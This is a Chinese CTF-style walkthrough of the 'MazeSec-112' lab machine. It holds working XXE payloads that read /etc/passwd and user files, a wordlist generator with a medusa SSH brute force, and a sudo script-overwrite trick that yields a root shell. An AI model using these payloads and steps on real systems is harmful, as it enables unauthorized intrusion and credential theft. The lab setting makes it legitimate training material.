信息收集

IP定位

1
┌──(web)─(root㉿kali)-[/home/kali]
2
└─# arp-scan -l | grep "08:00:27"
3

4
192.168.0.105   08:00:27:2a:e3:6f       (Unknown)

nmap扫描

1
┌──(web)─(root㉿kali)-[/home/kali]
2
└─# nmap -Pn -sTCV -T4 -p0-65535 192.168.0.105
3
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-01-15 23:23 EST
4
Nmap scan report for 192.168.0.105
5
Host is up (0.00025s latency).
6
Not shown: 65534 closed tcp ports (conn-refused)
7
PORT   STATE SERVICE VERSION
8
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
9
| ssh-hostkey:
10
|   3072 f6:a3:b6:78:c4:62:af:44:bb:1a:a0:0c:08:6b:98:f7 (RSA)
11
|   256 bb:e8:a2:31:d4:05:a9:c9:31:ff:62:f6:32:84:21:9d (ECDSA)
12
|_  256 3b:ae:34:64:4f:a5:75:b9:4a:b9:81:f9:89:76:99:eb (ED25519)
13
80/tcp open  http    Apache httpd 2.4.62
14
|_http-title: XML Parser
15
|_http-server-header: Apache/2.4.62 (Debian)
16
Service Info: Host: 0.0.0.112; OS: Linux; CPE: cpe:/o:linux:linux_kernel
17

18
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
19
Nmap done: 1 IP address (1 host up) scanned in 20.11 seconds

80端口

目录扫描

1
gobuster dir -u 192.168.0.105 -w /usr/share/wordlists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt -x php,txt,html,zip,db,bak,js,yaml -t 64

XXE漏洞

192.168.0.105/index.php

发现让输入xml代码，尝试利用xxe漏洞payload

读取/etc/passwd

1
<?xml version="1.0" encoding="UTF-8"?>
2
<!DOCTYPE root [
3
<!ENTITY file SYSTEM "file:///etc/passwd">
4
]>
5
<root>
6
    <element1>&file;</element1>
7
    <element2>Value2</element2>
8
</root>

成功读取passwd

1
SimpleXMLElement Object
2
(
3
    [element1] => root:x:0:0:root:/root:/bin/bash
4
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
5
bin:x:2:2:bin:/bin:/usr/sbin/nologin
6
sys:x:3:3:sys:/dev:/usr/sbin/nologin
7
sync:x:4:65534:sync:/bin:/bin/sync
8
games:x:5:60:games:/usr/games:/usr/sbin/nologin
9
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
10
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
11
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
12
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
13
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
14
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
15
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
16
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
17
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
18
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
19
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
20
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
21
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
22
systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
23
systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
24
systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
25
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
26
messagebus:x:104:110::/nonexistent:/usr/sbin/nologin
27
sshd:x:105:65534::/run/sshd:/usr/sbin/nologin
28
tuf:x:1000:1000:KQNPHFqG**JHcYJossIe:/home/tuf:/bin/bash
29
mysql:x:106:113:MySQL Server,,,:/nonexistent:/bin/false
30
Debian-snmp:x:107:114::/var/lib/snmp:/bin/false
31
zabbix:x:108:115::/nonexistent:/usr/sbin/nologin
32

33
    [element2] => Value2
34
)

发现存在特殊用户tuf-账号属性本身就很不正常

tuf:x:1000:1000:KQNPHFqG**JHcYJossIe:/home/tuf:/bin/bash

`/etc/passwd` 的标准结构（7 个字段）

每一行必须是下面这个格式，用冒号 : 分隔：

1
用户名 : 密码占位符 : UID : GID : GECOS : Home目录 : Login Shell

字段	正常情况	tuf 的情况	是否异常
用户名	字母数字	tuf	✅ 正常
密码占位	x	x	✅ 正常
UID	1000+	1000	✅ 正常
GID	对应组	1000	✅ 正常
GECOS	人名/描述	KQNPHFqGJHcYJossIe**	❌ 异常
Home	`/home/xxx`	`/home/tuf`	✅ 正常
Shell	`/bin/bash`	`/bin/bash`	✅ 正常

`/etc/passwd` 的 GECOS 有 3 个常见来源：

adduser 时输入的姓名
管理员随便填的注释
留空

👉 几乎不会有人输入一串这种字符串，除非：

当作提示
当作 密码线索
当作 flag 片段
当作 编码内容

读取flag

1
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE root [ <!ENTITY file SYSTEM "file:///home/tuf/user.txt"> ]> <root>     <element1>&file;</element1>     <element2>Value2</element2> </root>

1
SimpleXMLElement Object
2
(
3
    [element1] => flag{user-b1e12c74f19aac8e57f6fca1ff472905}
4

5
    [element2] => Value2
6
)

读取源代码

1
<!DOCTYPE html>
2
<html>
3
<head>
4
    <title>XML Parser</title>
5
</head>
6
<body>
7
<?php
8
if(isset($_POST['xml'])) {
9
    $xml = $_POST['xml'];
10
    $data = simplexml_load_string($xml, 'SimpleXMLElement', LIBXML_NOENT);
11
    if($data) echo "<pre>" . htmlspecialchars(print_r($data, true)) . "</pre>";
12
    else echo "<pre>Parse Error</pre>";
13
}
14
?>
15
    <form method="POST">
16
        <textarea name="xml" required></textarea><br>
17
        <input type="submit" value="Parse XML">
18
    </form>
19
</body>
20
</html>

漏洞成因

1
$data = simplexml_load_string($xml, 'SimpleXMLElement', LIBXML_NOENT);

LIBXML_NOENT 的作用是：

启用 XML 实体替换（Expand Entities）

也就是说：

XML 中定义的 <!ENTITY ...>
会被自动解析并替换为真实内容

提权

根据passwd中tufx中KQNPHFqG**JHcYJossIe，怀疑是密码，尝试补全登录

1
tuf:x:1000:1000:KQNPHFqG**JHcYJossIe:/home/tuf:/bin/bash

写个python脚本自动生成所有**可能(*尝试字母和数字)

1
import itertools
2
import string
3

4
template = "KQNPHFqG**JHcYJossIe"
5
charset = string.ascii_letters + string.digits  # a-zA-Z0-9
6

7
with open("full_password_list.txt", "w") as f:
8
    for a, b in itertools.product(charset, repeat=2):
9
        f.write(template.replace("**", a + b) + "\n")
10

11
print("Done, total:", len(charset) ** 2)

ssh爆破

1
┌──(web)─(root㉿kali)-[/home/kali/Desktop/hmv]
2
└─# medusa -h 192.168.0.105 -u tuf -P full_password_list.txt -M ssh -t 64 -n 22 -O medusa_result.txt -f
3

4
SUCCESS:KQNPHFqG6mJHcYJossIe

成功获取凭据tuf/KQNPHFqG6mJHcYJossIe

sudo -l

1
tuf@112:~$ sudo -l
2
Matching Defaults entries for tuf on 112:
3
    env_reset, mail_badpass,
4
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
5

6
User tuf may run the following commands
7
        on 112:
8
    (ALL) NOPASSWD: /opt/112.sh
9
tuf@112:~$
10
tuf@112:~$ cat /opt/112.sh
11
#!/bin/bash
12
input_url=""
13
output_file=""
14
use_file=false
15
regex='^https://maze-sec.com/[a-zA-Z0-9/]*$'
16
while getopts ":u:o:" opt; do
17
    case ${opt} in
18
        u) input_url="$OPTARG" ;;
19
        o) output_file="$OPTARG"; use_file=true ;;
20
        \?) echo "错误: 无效选项 -$OPTARG"; exit 1 ;;
21
        :) echo "错误: 选项 -$OPTARG 需要一个参数"; exit 1 ;;
22
    esac
23
done
24
if [[ -z "$input_url" ]]; then
25
    echo "错误: 必须使用 -u 参数提供URL"
26
    exit 1
27
fi
28
if [[ ! "$input_url" =~ ^https://maze-sec.com/ ]]; then
29
    echo "错误: URL必须以 https://maze-sec.com/ 开头"
30
    exit 1
31
fi
32
if [[ ! "$input_url" =~ $regex ]]; then
33
    echo "错误: URL包含非法字符，只允许字母、数字和斜杠"
34
    exit 1
35
fi
36
if (( RANDOM % 2 )); then
37
    result="$input_url is a good url."
38
else
39
    result="$input_url is not a good url."
40
fi
41
if [ "$use_file" = true ]; then
42
    echo "$result" > "$output_file"
43
    echo "结果已保存到: $output_file"
44
else
45
    echo "$result"
46
fi

可以写入任意文件但内容固定

这一步开始卡住了，思路跑偏了，以为是通过root让系统配置文件进行覆盖，没想过覆盖自身

❌ sudoers

覆盖 /etc/sudoers
结果：sudo 严格拒绝（Debian 正确行为）

❌ profile / bash 执行

/etc/profile 写入
bash 将 https://maze-sec.com/a 视为绝对路径命令
PATH / alias / function 全部不可劫持

❌ PAM 破坏

/etc/pam.d/su
/etc/pam.d/common-auth
结果：su 默认拒绝（fail-closed）

❌ /etc/passwd

root 用户消失
su 明确提示 user root does not exist
没有 UID fallback

❌ ld.so.preload

setuid 程序继续执行
权限未提升
glibc 对 preload 失败是 ignore + secure-exec

尝试覆盖自身

1
tuf@112:~$ sudo /opt/112.sh -u "https://maze-sec.com/test" -o /opt/112.sh
2
结果已保存到: /opt/112.sh
3
tuf@112:~$ sudo /opt/112.sh
4
/opt/112.sh: 1: /opt/112.sh: https://maze-sec.com/test: not found

可以发现sudo执行后显示https://maze-sec.com/test:↗ not found

1
命令名: https://maze-sec.com/test
2
参数: is a good url.

因为 **/opt/112.sh** 在执行 **https://maze-sec.com/test** 时，Shell 会在「当前工作目录」找这个路径，而当前目录就是 **~**（**/home/tuf**）。

所以往 ~ 里写。

那么重置下环境

Linux 的解析方式：

: → 普通字符
/ → 目录分隔符
// → 连续的 /，等价于一个 /

所以系统看到的是：

https: / maze-sec.com / test

也就是目录结构：

1
https:/
2
└── maze-sec.com/
3
    └── test

构造/home/tuf/https:/maze-sec.com/test

1
tuf@112:~$ mkdir -p ~/https:/maze-sec.com/
2
tuf@112:~$ echo '#!/bin/bash' > ~/https:/maze-sec.com/test
3
tuf@112:~$ echo '/bin/bash' >> ~/https:/maze-sec.com/test
4
tuf@112:~$ chmod +x ~/https:/maze-sec.com/test
5
tuf@112:~$ sudo /opt/112.sh -u "https://maze-sec.com/test" -o /opt/112.sh
6
结果已保存到: /opt/112.sh
7
tuf@112:~$ sudo /opt/112.sh
8
root@112:/home/tuf#
9

10
root@112:/home/tuf# cat /root/root.txt
11
flag{root-538dc127225a0c97b060b1ff9570390a}
12
root@112:/home/tuf#

Thanks for reading!

MazeSec-112

Sat Jan 17 2026

571 words · 3 minutes

Documentation MazeSec MazeSec Linux Machine Enumeration Privilege Escalation XXE

MazeSec-112

信息收集

IP定位

nmap扫描

80端口

目录扫描

XXE漏洞

192.168.0.105/index.php

读取/etc/passwd

/etc/passwd 的标准结构（7 个字段）

/etc/passwd 的 GECOS 有 3 个常见来源：

读取flag

读取源代码

漏洞成因

提权

ssh爆破

sudo -l

❌ sudoers

❌ profile / bash 执行

❌ PAM 破坏

❌ /etc/passwd

❌ ld.so.preload

尝试覆盖自身

MazeSec-112

`/etc/passwd` 的标准结构（7 个字段）

`/etc/passwd` 的 GECOS 有 3 个常见来源：